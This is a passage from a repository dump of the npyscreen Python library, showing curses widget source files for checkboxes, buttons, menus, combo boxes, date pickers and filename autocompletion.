5 | from . import fmForm
6 | from . import wgmultiline
7 | F = fmForm.Form(name=title, color=form_color)
8 | mlw = F.add(wgmultiline.Pager, scroll_exit=True, autowrap=autowrap)
9 | mlw_width = mlw.width-1
10 |
11 | message_lines = []
12 | for line in message.splitlines():
13 | line = textwrap.wrap(line, mlw_width)
14 | if line == []:
15 | message_lines.append('')
16 | else:
17 | message_lines.extend(line)
18 | mlw.values = message_lines
19 | F.edit()
20 | del mlw
21 | del F
22 |
23 |
--------------------------------------------------------------------------------
/npyscreen/wgFormControlCheckbox.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pyton
2 |
3 | from . import wgcheckbox
4 | import weakref
5 |
6 | class FormControlCheckbox(wgcheckbox.Checkbox):
7 | def __init__(self, *args, **keywords):
8 | super(FormControlCheckbox, self).__init__(*args, **keywords)
9 | self._visibleWhenSelected = []
10 | self._notVisibleWhenSelected = []
11 |
12 | def addVisibleWhenSelected(self, w):
13 | """Add a widget to be visible only when this box is selected"""
14 | self._register(w, vws=True)
15 |
16 | def addInvisibleWhenSelected(self, w):
17 | self._register(w, vws=False)
18 |
19 | def _register(self, w, vws=True):
20 | if vws:
21 | working_list = self._visibleWhenSelected
22 | else:
23 | working_list = self._notVisibleWhenSelected
24 |
25 | if w in working_list:
26 | pass
27 | else:
28 | try:
29 | working_list.append(weakref.proxy(w))
30 | except TypeError:
31 | working_list.append(w)
32 |
33 | self.updateDependents()
34 |
35 | def updateDependents(self):
36 | # This doesn't yet work.
37 | if self.value:
38 | for w in self._visibleWhenSelected:
39 | w.hidden = False
40 | w.editable = True
41 | for w in self._notVisibleWhenSelected:
42 | w.hidden = True
43 | w.editable = False
44 | else:
45 | for w in self._visibleWhenSelected:
46 | w.hidden = True
47 | w.editable = False
48 | for w in self._notVisibleWhenSelected:
49 | w.hidden = False
50 | w.editable = True
51 | self.parent.display()
52 |
53 | def h_toggle(self, *args):
54 | super(FormControlCheckbox, self).h_toggle(*args)
55 | self.updateDependents()
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/npyscreen/wgNMenuDisplay.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding: utf-8
3 | from . import muNewMenu as NewMenu
4 | from . import fmForm as Form
5 | from . import wgmultiline as multiline
6 | from . import wgannotatetextbox
7 | from . import utilNotify
8 | import weakref
9 | import curses
10 |
11 | class MenuViewerController(object):
12 | def __init__(self, menu=None):
13 | self.setMenu(menu)
14 | self.create()
15 | self._menuStack = []
16 | self._editing = False
17 |
18 | def create(self):
19 | pass
20 |
21 | def setMenu(self, mnu):
22 | self._menuStack = []
23 | self._setMenuWithoutResettingStack(mnu)
24 |
25 | def _setMenuWithoutResettingStack(self, mnu):
26 | self._menu = mnu
27 | self._DisplayArea._menuListWidget.value = None
28 |
29 | def _goToSubmenu(self, mnu):
30 | self._menuStack.append(self._menu)
31 | self._menu = mnu
32 |
33 | def _returnToPrevious(self):
34 | self._menu = self._menuStack.pop()
35 |
36 |
37 | def _executeSelection(self, sel):
38 | self._editing = False
39 | return sel()
40 |
41 | def edit(self):
42 | try:
43 | if self._menu is None:
44 | raise ValueError("No Menu Set")
45 | except AttributeError:
46 | raise ValueError("No Menu Set")
47 | self._editing = True
48 | while self._editing:
49 | if self._menu is not None:
50 | self._DisplayArea.name = self._menu.name
51 | if hasattr(self._menu, 'do_pre_display_function'):
52 | self._menu.do_pre_display_function()
53 | self._DisplayArea.display()
54 | self._DisplayArea._menuListWidget.value = None
55 | self._DisplayArea._menuListWidget.cursor_line = 0
56 | _menulines = []
57 | _actionsToTake = []
58 | if len(self._menuStack) > 0:
59 | _menulines.append(PreviousMenu())
60 | _returnToPreviousSet = True
61 | _actionsToTake.append((self._returnToPrevious, ))
62 | else:
63 | _returnToPreviousSet = False
64 |
65 | for itm in self._menu.getItemObjects():
66 | if isinstance(itm, NewMenu.MenuItem):
67 | _menulines.append(itm)
68 | _actionsToTake.append((self._executeSelection, itm.do))
69 | elif isinstance(itm, NewMenu.NewMenu):
70 | _menulines.append(itm)
71 | _actionsToTake.append((self._goToSubmenu, itm))
72 | else:
73 | raise ValueError("menu %s contains objects I don't know how to handle." % self._menu.name)
74 |
75 |
76 | self._DisplayArea._menuListWidget.values = _menulines
77 | self._DisplayArea.display()
78 | self._DisplayArea._menuListWidget.edit()
79 | _vlu = self._DisplayArea._menuListWidget.value
80 | if _vlu is None:
81 | self.editing = False
82 | return None
83 | try:
84 | _fctn = _actionsToTake[_vlu][0]
85 | _args = _actionsToTake[_vlu][1:]
86 | except IndexError:
87 | try:
88 | _fctn = _actionsToTake[_vlu]
89 | _args = []
90 | except IndexError:
91 | # Menu must be empty.
92 | return False
93 | _return_value = _fctn(*_args)
94 |
95 | return _return_value
96 |
97 |
98 | class PreviousMenu(NewMenu.NewMenu):
99 | pass
100 |
101 |
102 | class MenuDisplay(MenuViewerController):
103 | def __init__(self, color='CONTROL', lines=15, columns=39, show_atx=5, show_aty=2, *args, **keywords):
104 | self._DisplayArea = MenuDisplayScreen(lines=lines,
105 | columns=columns,
106 | show_atx=show_atx,
107 | show_aty=show_aty,
108 | color=color)
109 | super(MenuDisplay, self).__init__(*args, **keywords)
110 |
111 | class MenuDisplayFullScreen(MenuViewerController):
112 | def __init__(self, *args, **keywords):
113 | self._DisplayArea = MenuDisplayScreen()
114 | super(MenuDisplayFullScreen, self).__init__(*args, **keywords)
115 |
116 |
117 |
118 | class wgMenuLine(wgannotatetextbox.AnnotateTextboxBaseRight):
119 | ANNOTATE_WIDTH = 3
120 | def getAnnotationAndColor(self,):
121 | try:
122 | if self.value.shortcut:
123 | return (self.safe_string(self.value.shortcut), 'LABEL')
124 | else:
125 | return ('', 'LABEL')
126 | except AttributeError:
127 | return ('', 'LABEL')
128 |
129 | def display_value(self, vl):
130 | # if this function raises an exception, it gets masked.
131 | # this is a bug.
132 | if not vl:
133 | return None
134 | if isinstance(vl, PreviousMenu):
135 | return '<-- Back'
136 | elif isinstance(vl, NewMenu.NewMenu):
137 | return ('%s -->' % self.safe_string(self.value.name))
138 | elif isinstance(vl, NewMenu.MenuItem):
139 | return self.safe_string(self.value.getText())
140 | else:
141 | return self.safe_string(str(self.value))
142 |
143 |
144 | class wgMenuListWithSortCuts(multiline.MultiLineActionWithShortcuts):
145 | _contained_widgets = wgMenuLine
146 | def __init__(self, screen, allow_filtering=False, *args, **keywords):
147 | return super(wgMenuListWithSortCuts, self).__init__(screen, allow_filtering=allow_filtering, *args, **keywords)
148 |
149 | #def actionHighlighted(self, act_on_this, key_press):
150 | # if isinstance(act_on_this, MenuItem):
151 | # return act_on_this.do()
152 | # else:
153 | # return act_on_this
154 | def actionHighlighted(self, act_on_this, key_press):
155 | return self.h_select_exit(key_press)
156 |
157 | def display_value(self, vl):
158 | return vl
159 |
160 | class MenuDisplayScreen(Form.Form):
161 | def __init__(self, *args, **keywords):
162 | super(MenuDisplayScreen, self).__init__(*args, **keywords)
163 | #self._menuListWidget = self.add(multiline.MultiLine, return_exit=True)
164 | self._menuListWidget = self.add(wgMenuListWithSortCuts, return_exit=True)
165 | self._menuListWidget.add_handlers({
166 | ord('q'): self._menuListWidget.h_exit_down,
167 | ord('Q'): self._menuListWidget.h_exit_down,
168 | ord('x'): self._menuListWidget.h_select_exit,
169 | curses.ascii.SP: self._menuListWidget.h_select_exit,
170 | })
171 |
172 | class HasMenus(object):
173 | MENU_KEY = "^X"
174 | MENU_DISPLAY_TYPE = MenuDisplay
175 | MENU_WIDTH = None
176 | def initialize_menus(self):
177 | if self.MENU_WIDTH:
178 | self._NMDisplay = self.MENU_DISPLAY_TYPE(columns=self.MENU_WIDTH)
179 | else:
180 | self._NMDisplay = self.MENU_DISPLAY_TYPE()
181 | if not hasattr(self, '_NMenuList'):
182 | self._NMenuList = []
183 | self._MainMenu = NewMenu.NewMenu
184 | self.add_handlers({self.__class__.MENU_KEY: self.root_menu})
185 |
186 | def new_menu(self, name=None, *args, **keywords):
187 | if not hasattr(self, '_NMenuList'):
188 | self._NMenuList = []
189 | _mnu = NewMenu.NewMenu(name=name, *args, **keywords)
190 | self._NMenuList.append(_mnu)
191 | return weakref.proxy(_mnu)
192 |
193 | def add_menu(self, *args, **keywords):
194 | return self.new_menu(*args, **keywords)
195 |
196 | def root_menu(self, *args):
197 | if len(self._NMenuList) == 1:
198 | self._NMDisplay.setMenu(self._NMenuList[0])
199 | self._NMDisplay.edit()
200 | else:
201 | _root_menu = NewMenu.NewMenu(name="Menus")
202 | for mnu in self._NMenuList:
203 | _root_menu.addSubmenu(mnu)
204 | self._NMDisplay.setMenu(_root_menu)
205 | self._NMDisplay.edit()
206 | self.DISPLAY()
207 |
208 | def use_existing_menu(self, _mnu):
209 | if not hasattr(self, '_NMenuList'):
210 | self._NMenuList = []
211 | self._NMenuList.append(_mnu)
212 | return weakref.proxy(_mnu)
213 |
214 |
215 | def popup_menu(self, menu):
216 | self._NMDisplay.setMenu(menu)
217 | self._NMDisplay.edit()
218 |
219 |
220 |
221 |
222 |
--------------------------------------------------------------------------------
/npyscreen/wgannotatetextbox.py:
--------------------------------------------------------------------------------
1 | from . import wgwidget
2 | from .wgtextbox import Textfield
3 |
4 |
5 |
6 | class AnnotateTextboxBase(wgwidget.Widget):
7 | """A base class intented for customization. Note in particular the annotationColor and annotationNoColor methods
8 | which you should override."""
9 | ANNOTATE_WIDTH = 5
10 |
11 | def __init__(self, screen, value = False, annotation_color='CONTROL', **keywords):
12 | self.value = value
13 | self.annotation_color = annotation_color
14 | super(AnnotateTextboxBase, self).__init__(screen, **keywords)
15 |
16 | self._init_text_area(screen)
17 |
18 | if hasattr(self, 'display_value'):
19 | self.text_area.display_value = self.display_value
20 | self.show_bold = False
21 | self.highlight = False
22 | self.important = False
23 | self.hide = False
24 |
25 | def _init_text_area(self, screen):
26 | self.text_area = Textfield(screen, rely=self.rely, relx=self.relx+self.ANNOTATE_WIDTH,
27 | width=self.width-self.ANNOTATE_WIDTH, value=self.name)
28 |
29 | def _display_annotation_at(self):
30 | return (self.rely, self.relx)
31 |
32 |
33 | def getAnnotationAndColor(self):
34 | return ('xxx', 'CONTROL')
35 |
36 | def annotationColor(self):
37 | displayy, displayx = self._display_annotation_at()
38 | _annotation, _color = self.getAnnotationAndColor()
39 | self.parent.curses_pad.addnstr(displayy, displayx, _annotation, self.ANNOTATE_WIDTH, self.parent.theme_manager.findPair(self, _color))
40 |
41 | def annotationNoColor(self):
42 | displayy, displayx = self._display_annotation_at()
43 | _annotation, _color = self.getAnnotationAndColor()
44 | self.parent.curses_pad.addnstr(displayy, displayx, _annotation, self.ANNOTATE_WIDTH)
45 |
46 | def update(self, clear=True):
47 | if clear:
48 | self.clear()
49 | if self.hidden:
50 | self.clear()
51 | return False
52 | if self.hide:
53 | return True
54 |
55 | self.text_area.value = self.value
56 |
57 | if self.do_colors():
58 | self.annotationColor()
59 | else:
60 | self.annotationNoColor()
61 |
62 |
63 | if self.editing:
64 | self.text_area.highlight = True
65 | else:
66 | self.text_area.highlight = False
67 |
68 | if self.show_bold:
69 | self.text_area.show_bold = True
70 | else:
71 | self.text_area.show_bold = False
72 |
73 | if self.important:
74 | self.text_area.important = True
75 | else:
76 | self.text_area.important = False
77 |
78 | if self.highlight:
79 | self.text_area.highlight = True
80 | else:
81 | self.text_area.highlight = False
82 |
83 | self.text_area.update(clear=clear)
84 |
85 | def calculate_area_needed(self):
86 | return 1,0
87 |
88 | class AnnotateTextboxBaseRight(AnnotateTextboxBase):
89 | def _init_text_area(self, screen):
90 | self.text_area = Textfield(screen, rely=self.rely, relx=self.relx,
91 | width=self.width-self.ANNOTATE_WIDTH, value=self.name)
92 |
93 | def _display_annotation_at(self):
94 | return (self.rely, self.relx+self.width-self.ANNOTATE_WIDTH)
95 |
96 |
97 |
98 |
--------------------------------------------------------------------------------
/npyscreen/wgautocomplete.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import curses
3 | from . import wgtextbox as textbox
4 | from . import wgmultiline as multiline
5 | from . import wgtitlefield as titlefield
6 | import os
7 | from . import fmForm as Form
8 | from . import fmPopup as Popup
9 |
10 | class Autocomplete(textbox.Textfield):
11 | """This class is fairly useless, but override auto_complete to change that. See filename class for example"""
12 | def set_up_handlers(self):
13 | super(Autocomplete, self).set_up_handlers()
14 |
15 | self.handlers.update({curses.ascii.TAB: self.auto_complete})
16 |
17 | def auto_complete(self, input):
18 | curses.beep()
19 |
20 | def get_choice(self, values):
21 | # If auto_complete needs the user to select from a list of values, this function lets them do that.
22 |
23 | #tmp_window = Form.TitleForm(name=self.name, framed=True)
24 | tmp_window = Popup.Popup(name=self.name, framed=True)
25 | sel = tmp_window.add_widget(multiline.MultiLine,
26 | values=values,
27 | value=self.value,
28 | return_exit=True, select_exit=True)
29 | #sel = multiline.MultiLine(tmp_window, values=values, value=self.value)
30 | tmp_window.display()
31 | sel.value=0
32 | sel.edit()
33 | return sel.value
34 |
35 |
36 | class Filename(Autocomplete):
37 | def auto_complete(self, input):
38 | # expand ~
39 | self.value = os.path.expanduser(self.value)
40 |
41 | for i in range(1):
42 | dir, fname = os.path.split(self.value)
43 | # Let's have absolute paths.
44 | dir = os.path.abspath(dir)
45 |
46 | if self.value == '':
47 | self.value=dir
48 | break
49 |
50 | try:
51 | flist = os.listdir(dir)
52 | except:
53 | self.show_brief_message("Can't read directory!")
54 | break
55 |
56 | flist = [os.path.join(dir, x) for x in flist]
57 | possibilities = list(filter(
58 | (lambda x: os.path.split(x)[1].startswith(fname)), flist
59 | ))
60 |
61 | if len(possibilities) is 0:
62 | # can't complete
63 | curses.beep()
64 | break
65 |
66 | if len(possibilities) is 1:
67 | if self.value != possibilities[0]:
68 | self.value = possibilities[0]
69 | if os.path.isdir(self.value) \
70 | and not self.value.endswith(os.sep):
71 | self.value = self.value + os.sep
72 | else:
73 | if not os.path.isdir(self.value):
74 | self.h_exit_down(None)
75 | break
76 |
77 | if len(possibilities) > 1:
78 | filelist = possibilities
79 | else:
80 | filelist = flist #os.listdir(os.path.dirname(self.value))
81 |
82 | filelist = list(map((lambda x: os.path.normpath(os.path.join(self.value, x))), filelist))
83 | files_only = []
84 | dirs_only = []
85 |
86 | if fname.startswith('.'):
87 | filelist = list(filter((lambda x: os.path.basename(x).startswith('.')), filelist))
88 | else:
89 | filelist = list(filter((lambda x: not os.path.basename(x).startswith('.')), filelist))
90 |
91 | for index1 in range(len(filelist)):
92 | if os.path.isdir(filelist[index1]) and not filelist[index1].endswith(os.sep):
93 | filelist[index1] = filelist[index1] + os.sep
94 |
95 | if os.path.isdir(filelist[index1]):
96 | dirs_only.append(filelist[index1])
97 |
98 | else:
99 | files_only.append(filelist[index1])
100 |
101 | dirs_only.sort()
102 | files_only.sort()
103 | combined_list = dirs_only + files_only
104 | combined_list.insert(0, self.value)
105 | self.value = combined_list[self.get_choice(combined_list)]
106 | break
107 |
108 | # Can't complete
109 | curses.beep()
110 | #os.path.normpath(self.value)
111 | os.path.normcase(self.value)
112 | self.cursor_position=len(self.value)
113 |
114 | class TitleFilename(titlefield.TitleText):
115 | _entry_type = Filename
116 |
117 |
118 |
--------------------------------------------------------------------------------
/npyscreen/wgbutton.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import curses
3 | import locale
4 | import weakref
5 | from . import npysGlobalOptions as GlobalOptions
6 | from . import wgwidget as widget
7 | from . import wgcheckbox as checkbox
8 |
9 | class MiniButton(checkbox._ToggleControl):
10 | DEFAULT_CURSOR_COLOR = None
11 | def __init__(self, screen, name='Button', cursor_color=None, *args, **keywords):
12 | self.encoding = 'utf-8'
13 | self.cursor_color = cursor_color or self.__class__.DEFAULT_CURSOR_COLOR
14 | if GlobalOptions.ASCII_ONLY or locale.getpreferredencoding() == 'US-ASCII':
15 | self._force_ascii = True
16 | else:
17 | self._force_ascii = False
18 | self.name = self.safe_string(name)
19 | self.label_width = len(name) + 2
20 | super(MiniButton, self).__init__(screen, *args, **keywords)
21 | if 'color' in keywords:
22 | self.color = keywords['color']
23 | else:
24 | self.color = 'CONTROL'
25 |
26 | def calculate_area_needed(self):
27 | return 1, self.label_width+2
28 |
29 | def update(self, clear=True):
30 | if clear: self.clear()
31 | if self.hidden:
32 | self.clear()
33 | return False
34 |
35 |
36 | if self.value and self.do_colors():
37 | self.parent.curses_pad.addstr(self.rely, self.relx, '>', self.parent.theme_manager.findPair(self))
38 | self.parent.curses_pad.addstr(self.rely, self.relx+self.width-1, '<', self.parent.theme_manager.findPair(self))
39 | elif self.value:
40 | self.parent.curses_pad.addstr(self.rely, self.relx, '>')
41 | self.parent.curses_pad.addstr(self.rely, self.relx+self.width-1, '<')
42 |
43 |
44 | if self.editing:
45 | button_state = curses.A_STANDOUT
46 | else:
47 | button_state = curses.A_NORMAL
48 |
49 | button_name = self.name
50 | if isinstance(button_name, bytes):
51 | button_name = button_name.decode(self.encoding, 'replace')
52 | button_name = button_name.center(self.label_width)
53 |
54 | if self.do_colors():
55 | if self.cursor_color:
56 | if self.editing:
57 | button_attributes = self.parent.theme_manager.findPair(self, self.cursor_color)
58 | else:
59 | button_attributes = self.parent.theme_manager.findPair(self, self.color)
60 | else:
61 | button_attributes = self.parent.theme_manager.findPair(self, self.color) | button_state
62 | else:
63 | button_attributes = button_state
64 |
65 | self.add_line(self.rely, self.relx+1,
66 | button_name,
67 | self.make_attributes_list(button_name, button_attributes),
68 | self.label_width
69 | )
70 |
71 |
72 | class MiniButtonPress(MiniButton):
73 | # NB. The when_pressed_function functionality is potentially dangerous. It can set up
74 | # a circular reference that the garbage collector will never free.
75 | # If this is a risk for your program, it is best to subclass this object and
76 | # override when_pressed_function instead. Otherwise your program will leak memory.
77 | def __init__(self, screen, when_pressed_function=None, *args, **keywords):
78 | super(MiniButtonPress, self).__init__(screen, *args, **keywords)
79 | self.when_pressed_function = when_pressed_function
80 |
81 | def set_up_handlers(self):
82 | super(MiniButtonPress, self).set_up_handlers()
83 |
84 | self.handlers.update({
85 | curses.ascii.NL: self.h_toggle,
86 | curses.ascii.CR: self.h_toggle,
87 | })
88 |
89 | def destroy(self):
90 | self.when_pressed_function = None
91 | del self.when_pressed_function
92 |
93 | def h_toggle(self, ch):
94 | self.value = True
95 | self.display()
96 | if self.when_pressed_function:
97 | self.when_pressed_function()
98 | else:
99 | self.whenPressed()
100 | self.value = False
101 | self.display()
102 |
103 | def whenPressed(self):
104 | pass
105 |
--------------------------------------------------------------------------------
/npyscreen/wgcheckbox.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from .wgtextbox import Textfield
4 | from .wgwidget import Widget
5 | #from .wgmultiline import MultiLine
6 | from . import wgwidget as widget
7 | import curses
8 |
9 | class _ToggleControl(Widget):
10 | def set_up_handlers(self):
11 | super(_ToggleControl, self).set_up_handlers()
12 |
13 | self.handlers.update({
14 | curses.ascii.SP: self.h_toggle,
15 | ord('x'): self.h_toggle,
16 | curses.ascii.NL: self.h_select_exit,
17 | curses.ascii.CR: self.h_select_exit,
18 | ord('j'): self.h_exit_down,
19 | ord('k'): self.h_exit_up,
20 | ord('h'): self.h_exit_left,
21 | ord('l'): self.h_exit_right,
22 | })
23 |
24 | def h_toggle(self, ch):
25 | if self.value is False or self.value is None or self.value == 0:
26 | self.value = True
27 | else:
28 | self.value = False
29 | self.whenToggled()
30 |
31 | def whenToggled(self):
32 | pass
33 |
34 | def h_select_exit(self, ch):
35 | if not self.value:
36 | self.h_toggle(ch)
37 | self.editing = False
38 | self.how_exited = widget.EXITED_DOWN
39 |
40 |
41 | class CheckboxBare(_ToggleControl):
42 | False_box = '[ ]'
43 | True_box = '[X]'
44 |
45 | def __init__(self, screen, value = False, **keywords):
46 | super(CheckboxBare, self).__init__(screen, **keywords)
47 | self.value = value
48 | self.hide = False
49 |
50 | def calculate_area_needed(self):
51 | return 1, 4
52 |
53 | def update(self, clear=True):
54 | if clear: self.clear()
55 | if self.hidden:
56 | self.clear()
57 | return False
58 | if self.hide: return True
59 |
60 | if self.value:
61 | cb_display = self.__class__.True_box
62 | else:
63 | cb_display = self.__class__.False_box
64 |
65 | if self.do_colors():
66 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display, self.parent.theme_manager.findPair(self, 'CONTROL'))
67 | else:
68 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display)
69 |
70 | if self.editing:
71 | if self.value:
72 | char_under_cur = 'X'
73 | else:
74 | char_under_cur = ' '
75 | if self.do_colors():
76 | self.parent.curses_pad.addstr(self.rely, self.relx + 1, char_under_cur, self.parent.theme_manager.findPair(self) | curses.A_STANDOUT)
77 | else:
78 | self.parent.curses_pad.addstr(self.rely, self.relx + 1, curses.A_STANDOUT)
79 |
80 |
81 |
82 |
83 |
84 |
85 | class Checkbox(_ToggleControl):
86 | False_box = '[ ]'
87 | True_box = '[X]'
88 |
89 | def __init__(self, screen, value = False, **keywords):
90 | self.value = value
91 | super(Checkbox, self).__init__(screen, **keywords)
92 |
93 | self._create_label_area(screen)
94 |
95 |
96 | self.show_bold = False
97 | self.highlight = False
98 | self.important = False
99 | self.hide = False
100 |
101 | def _create_label_area(self, screen):
102 | l_a_width = self.width - 5
103 |
104 | if l_a_width < 1:
105 | raise ValueError("Width of checkbox + label must be at least 6")
106 |
107 | self.label_area = Textfield(screen, rely=self.rely, relx=self.relx+5,
108 | width=self.width-5, value=self.name)
109 |
110 |
111 | def update(self, clear=True):
112 | if clear: self.clear()
113 | if self.hidden:
114 | self.clear()
115 | return False
116 | if self.hide: return True
117 |
118 | if self.value:
119 | cb_display = self.__class__.True_box
120 | else:
121 | cb_display = self.__class__.False_box
122 |
123 | if self.do_colors():
124 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display, self.parent.theme_manager.findPair(self, 'CONTROL'))
125 | else:
126 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display)
127 |
128 | self._update_label_area()
129 |
130 | def _update_label_area(self, clear=True):
131 | self.label_area.value = self.name
132 | self._update_label_row_attributes(self.label_area, clear=clear)
133 |
134 | def _update_label_row_attributes(self, row, clear=True):
135 | if self.editing:
136 | row.highlight = True
137 | else:
138 | row.highlight = False
139 |
140 | if self.show_bold:
141 | row.show_bold = True
142 | else:
143 | row.show_bold = False
144 |
145 | if self.important:
146 | row.important = True
147 | else:
148 | row.important = False
149 |
150 | if self.highlight:
151 | row.highlight = True
152 | else:
153 | row.highlight = False
154 |
155 | row.update(clear=clear)
156 |
157 | def calculate_area_needed(self):
158 | return 1,0
159 |
160 | class CheckBox(Checkbox):
161 | pass
162 |
163 |
164 | class RoundCheckBox(Checkbox):
165 | False_box = '( )'
166 | True_box = '(X)'
167 |
168 | class CheckBoxMultiline(Checkbox):
169 | def _create_label_area(self, screen):
170 | self.label_area = []
171 | for y in range(self.height):
172 | self.label_area.append(
173 | Textfield(screen, rely=self.rely+y,
174 | relx=self.relx+5,
175 | width=self.width-5,
176 | value=None)
177 | )
178 |
179 | def _update_label_area(self, clear=True):
180 | for x in range(len(self.label_area)):
181 | if x >= len(self.name):
182 | self.label_area[x].value = ''
183 | self.label_area[x].hidden = True
184 | else:
185 | self.label_area[x].value = self.name[x]
186 | self.label_area[x].hidden = False
187 | self._update_label_row_attributes(self.label_area[x], clear=clear)
188 |
189 | def calculate_area_needed(self):
190 | return 0,0
191 |
192 | class RoundCheckBoxMultiline(CheckBoxMultiline):
193 | False_box = '( )'
194 | True_box = '(X)'
195 |
196 |
197 |
--------------------------------------------------------------------------------
/npyscreen/wgcombobox.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import curses
3 |
4 | from . import wgtextbox as textbox
5 | from . import wgmultiline as multiline
6 | from . import fmForm as Form
7 | from . import fmPopup as Popup
8 | from . import wgtitlefield as titlefield
9 |
10 | class ComboBox(textbox.Textfield):
11 | ENSURE_STRING_VALUE = False
12 | def __init__(self, screen, value = None, values=None,**keywords):
13 | self.values = values or []
14 | self.value = value or None
15 | if value is 0:
16 | self.value = 0
17 | super(ComboBox, self).__init__(screen, **keywords)
18 |
19 | def display_value(self, vl):
20 | """Overload this function to change how values are displayed.
21 | Should accept one argument (the object to be represented), and return a string."""
22 | return str(vl)
23 |
24 | def update(self, **keywords):
25 | keywords.update({'cursor': False})
26 | super(ComboBox, self).update(**keywords)
27 |
28 | def _print(self):
29 | if self.value == None or self.value is '':
30 | printme = '-unset-'
31 | else:
32 | try:
33 | printme = self.display_value(self.values[self.value])
34 | except IndexError:
35 | printme = '-error-'
36 | if self.do_colors():
37 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width, self.parent.theme_manager.findPair(self))
38 | else:
39 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width)
40 |
41 |
42 | def edit(self):
43 | #We'll just use the widget one
44 | super(textbox.Textfield, self).edit()
45 |
46 | def set_up_handlers(self):
47 | super(textbox.Textfield, self).set_up_handlers()
48 |
49 | self.handlers.update({curses.ascii.SP: self.h_change_value,
50 | #curses.ascii.TAB: self.h_change_value,
51 | curses.ascii.NL: self.h_change_value,
52 | curses.ascii.CR: self.h_change_value,
53 | ord('x'): self.h_change_value,
54 | ord('k'): self.h_exit_up,
55 | ord('j'): self.h_exit_down,
56 | ord('h'): self.h_exit_left,
57 | ord('l'): self.h_exit_right,
58 | })
59 |
60 | def h_change_value(self, input):
61 | "Pop up a window in which to select the values for the field"
62 | F = Popup.Popup(name = self.name)
63 | l = F.add(multiline.MultiLine,
64 | values = [self.display_value(x) for x in self.values],
65 | return_exit=True, select_exit=True,
66 | value=self.value)
67 | F.display()
68 | l.edit()
69 | self.value = l.value
70 |
71 |
72 | class TitleCombo(titlefield.TitleText):
73 | _entry_type = ComboBox
74 |
75 | def get_values(self):
76 | try:
77 | return self.entry_widget.values
78 | except:
79 | try:
80 | return self.__tmp_values
81 | except:
82 | return None
83 |
84 | def set_values(self, values):
85 | try:
86 | self.entry_widget.values = values
87 | except:
88 | # probably trying to set the value before the textarea is initialised
89 | self.__tmp_values = values
90 |
91 | def del_values(self):
92 | del self.entry_widget.values
93 |
94 | values = property(get_values, set_values, del_values)
95 |
96 |
--------------------------------------------------------------------------------
/npyscreen/wgdatecombo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from . import wgtextbox as textbox
3 | from . import wgtitlefield as titlefield
4 | from . import wgmonthbox as monthbox
5 | from . import fmPopup as Popup
6 | from . import fmForm as Form
7 | import datetime
8 | import curses
9 |
10 |
11 | class DateCombo(textbox.Textfield, monthbox.DateEntryBase):
12 | def __init__(self, screen, allowPastDate=True, allowTodaysDate=True, allowClear=True, **keywords):
13 | super(DateCombo, self).__init__(screen, **keywords)
14 | self.allow_date_in_past = allowPastDate
15 | self.allow_todays_date = allowTodaysDate
16 | self.allow_clear = allowClear
17 |
18 | def update(self, **keywords):
19 | keywords.update({'cursor': False})
20 | super(DateCombo, self).update(**keywords)
21 |
22 | def edit(self):
23 | #We'll just use the widget one
24 | super(textbox.Textfield, self).edit()
25 |
26 | def display_value(self, vl):
27 | if self.value:
28 | try:
29 | # in python 2.4 this will raise ValueError if date is before 1900
30 | #return self.value.strftime("%a, %d %B, %Y")
31 | return self.value.strftime("%d %B, %Y")
32 | except ValueError:
33 | return self.value.isoformat()
34 | except AttributeError:
35 | return "-error-"
36 | else:
37 | return "-unset-"
38 |
39 | def _print(self):
40 | if self.do_colors():
41 | self.parent.curses_pad.addnstr(self.rely, self.relx, self.display_value(self.value), self.width, self.parent.theme_manager.findPair(self,))
42 | else:
43 | self.parent.curses_pad.addnstr(self.rely, self.relx, self.display_value(self.value), self.width)
44 |
45 | def h_change_value(self, *arg):
46 | # Remember to leave extra space at the end of the popup, or the clear function can't work properly.
47 | _old_date = self.value
48 | F = Popup.Popup(name = self.name,
49 | columns = (monthbox.MonthBox.DAY_FIELD_WIDTH * 7) + 4,
50 | lines=13,
51 | )
52 | #F = Form.Form()
53 | m = F.add(monthbox.MonthBox,
54 | allowPastDate = self.allow_date_in_past,
55 | allowTodaysDate = self.allow_todays_date,
56 | use_max_space = True,
57 | use_datetime = self.use_datetime,
58 | allowClear = self.allow_clear,
59 | )
60 | try:
61 | # Is it a date, do we think?
62 | self.value.isoformat()
63 | m.value = self.value
64 | except:
65 | # if not, we could do worse than today
66 | m.value = self.date_or_datetime().today()
67 | # But make sure that that is acceptable
68 | m._check_today_validity()
69 | F.display()
70 | m.edit()
71 | self.value = m.value
72 | # The following is perhaps confusing.
73 | #if self.value == _old_date:
74 | # self.h_exit_down('')
75 |
76 | def set_up_handlers(self):
77 | super(textbox.Textfield, self).set_up_handlers()
78 | self.handlers.update({curses.ascii.SP: self.h_change_value,
79 | #curses.ascii.TAB: self.h_change_value,
80 | curses.ascii.CR: self.h_change_value,
81 | curses.ascii.NL: self.h_change_value,
82 | ord('x'): self.h_change_value,
83 | ord('j'): self.h_exit_down,
84 | ord('k'): self.h_exit_up,
85 | })
86 |
87 | class TitleDateCombo(titlefield.TitleText):
88 | _entry_type = DateCombo
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/npyscreen/wgfilenamecombo.py:
--------------------------------------------------------------------------------
1 | from . import fmFileSelector
2 | from . import wgcombobox
3 |
4 | class FilenameCombo(wgcombobox.ComboBox):
5 | def __init__(self, screen,
6 | # The following are all options taken from the FileSelector
7 | select_dir=False, #Select a dir, not a file
8 | must_exist=False, #Selected File must already exist
9 | confirm_if_exists=False,
10 | sort_by_extension=True,
11 | *args, **keywords):
12 | self.select_dir = select_dir
13 | self.must_exist = must_exist
14 | self.confirm_if_exists = confirm_if_exists
15 | self.sort_by_extension = sort_by_extension
16 |
17 | super(FilenameCombo, self).__init__(screen, *args, **keywords)
18 |
